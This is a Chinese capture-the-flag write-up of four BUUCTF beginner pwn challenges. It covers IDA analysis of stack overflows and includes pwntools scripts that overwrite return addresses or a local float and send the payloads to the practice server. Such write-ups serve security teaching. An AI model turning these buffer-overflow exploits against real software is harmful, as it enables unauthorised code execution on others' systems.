buuctf pwn(1~4)

test_your_nc

附件用ida打开主函数就是执行system(“/bin/sh”)
nc一下
在这里插入图片描述

rip

ida64位打开附件
在这里插入图片描述
存在溢出,而且存在后门函数
s距离rbp有0xF的距离
64位是调用的寄存器
在这里插入图片描述在这里插入图片描述

构造rop
也可以选择函数入口点,但是要+1,网上说是为了堆栈平衡。

from pwn import *
context(log_level='debug',os='linux',arch='amd64')
#p=process("./pwn2")   
p=remote("node4.buuoj.cn",27350)
sys=0x000000000040118A
payload=b'a'*(0xF+8)+p64(sys)
p.sendline(payload)
p.interactive()

在这里插入图片描述

warmup_csaw_2016

ida64位打开
在这里插入图片描述
gets函数存在栈溢出
有后门函数
在这里插入图片描述
构造rop

from pwn import *
context(log_level='debug',os='linux',arch='amd64')
#p=process("./pwn3")   
p=remote("node4.buuoj.cn",27350)
sys=(0x40060D+1)      #+1是为了堆栈平衡
payload=b'a'*(0x40+8)+p64(sys)
p.sendline(payload)
p.interactive()

在这里插入图片描述

ciscn_2019_n_1

ida64位打开,主函数里有个func函数
在这里插入图片描述

gets函数栈溢出,通过分析就很清楚目的了
通过栈溢出覆盖v2的地址使其等于11.28125
v1距离rbp有0x30
v2距离rbp有0x4
在这里插入图片描述

计算出v1与v2差了44个字节的距离
但是不知道11.28125的16进制是多少
在这里插入图片描述分析汇编代码
ucomiss搜了一下,是浮点数比较的指令
所以猜测dword_4007F4为11.28125
跟进发现是
在这里插入图片描述
所以这个应该就是11.28125的16进制
脚本如下:

from pwn import *
context(log_level='debug',os='linux',arch='amd64')
#p=process("./pwn4")   
p=remote("node4.buuoj.cn",28223)
payload=b'a'*44+p64(0x41348000)
p.sendline(payload)
p.interactive()

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/cainiao78777/article/details/127970082